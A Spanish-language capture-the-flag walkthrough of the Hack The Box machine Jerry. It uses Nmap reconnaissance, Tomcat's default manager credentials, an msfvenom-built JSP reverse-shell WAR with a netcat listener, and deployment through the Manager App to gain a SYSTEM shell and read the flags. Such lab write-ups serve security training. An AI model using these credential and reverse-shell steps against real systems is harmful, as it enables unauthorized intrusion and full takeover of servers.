Descripción

Hoy veremos la máquina easy Jerry, donde explotaremos Tomcat a través del Manager app, desplegando una aplicación .War. malicioisa que contendrá una reverse shell, dándonos acceso como administrador del sistema.

Reconocimiento

Reconocimiento De Puertos

Lo primero será ver que puertos están abiertos en la máquina objetivo, para ello utilizaremos la herramienta Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap --open -p- -T5 -Pn -oG Puertos 10.10.10.95
2 │ Host: 10.10.10.95 () Status: Up
3 │ Host: 10.10.10.95 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (65534)
4 │ # Nmap done at Tue Jul 12 01:26:25 2022 -- 1 IP address (1 host up) scanned in 68.44 seconds
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ Reconocimiento Puertos

{*} Extrayendo puertos...

La direccion ip es: 10.10.10.95
Los puertos abiertos son: 8080

Los puertos han sido copiados al portapapeles

Sabiendo que solo tenemos el puerto 8080 abierto procederemos a lanzar unos scripts predeterminados con Nmap.

1
2
3
4
5
6
7
8
9
1   │ nmap -sCV -p8080 -Pn -oN Objetivos 10.10.10.95
2 │ Nmap scan report for 10.10.10.95
3 │ Host is up (0.034s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
7 │ |_http-title: Apache Tomcat/7.0.88
8 │ |_http-favicon: Apache Tomcat
9 │ |_http-server-header: Apache-Coyote/1.1

El servidor web está montado con Tomcat, por lo que vamos a comprobar la página web y que posibles accesos tenemos.

Reconocimiento Web

Al visitar la página web veremos la plantilla por defecto que utiliza TomCat.

Si pudiésemos acceder al Manager App podríamos intentar subir un archivo .War malicioso el cual nos entablará una reverse shell.

Intentamos acceder, pero nos pide credenciales:

Probando unas credenciales erróneas nos salta este error por parte de TomCat.

Si nos fijamos bien, en la siguiente linea de código podemos ver las credenciales por defecto de TomCat:

1
2
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>

Espero que el Administrador no haya dejado por defecto estas credenciales, sería un error de novato ¿No creéis?

Acceso Al Manager App

Probamos con tomcat:s3cret y bum, acceso concedido.

Si miramos en la parte de abajo encontramos lo siguiente.

Parece que sí podemos subir un archivo .War permitiéndonos desplegar una aplicación maliciosa. Para ello podemos usar msfvenom, tenemos la cheatsheet del ataque mediante .War file en HackTrinks.

Vías Potenciales

Creación De La Revshell War Con Msfvenom

Introducimos los parámetros correspondientes de la reverse shell:

1
2
3
4
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=1234 -f war -o revshell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: revshell.war

Antes de subir y ejecutar lagaplicación maliciosa nos ponemos por escucha con netcat.

1
2
❯ rlwrap nc -lnvp 1234 # rlwrap nos permite obtener una tty interactiva con windows
listening on [any] 1234 ...

Subir Reverse Shell

En este momento podemos subir el archivo .War desde el menú mostrado anteriormente.

Una vez subida la aplicación se nos mostrará en el menú del manger.

Ejecutar Reverse Shell

Si nos dirigimos al directorio http://10.10.10.95:8080/revshell/ la reverse shell se nos ejecutará y la recibiremos en el listener que hemos establecido previamente.

1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.95] 49193
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system

C:\apache-tomcat-7.0.88>

¡Perfecto! Parace ser el proceso de TomCat Estaba corriendo como nt authority\system, por lo que solo tenemos que buscar las flags.

Flags

User.Txt Y Admin.Txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dir

Directory of C:\Users\Administrator\Desktop\flags

06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,419,621,888 bytes free

type "2 for the price of 1.txt"

user.txt
7004xxxxxxxxxxxxxxxxxxxxxxxxxxxx

root.txt
04a8xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Pues teníamos las dos flags en el mismo archivo, podemos dar por pwneada la máquina Jerry.

Conocimientos Obtenidos

De la máquina Jerry podemos extraer los siguientes conocimientos:

  • Reconocimiento de puertos abiertos con Nmap.
  • Reconocimiento web en busca de credenciales.
  • Creación de una reverse shell en formato .War con Msfvenom.
  • Desplegar un archivo .War desde el Manager App de TomCat.

Créditos Y Referencias

Autor de la máquina: mrh4sh, muchas gracias por la creación de Jerry aportando a la comunidad.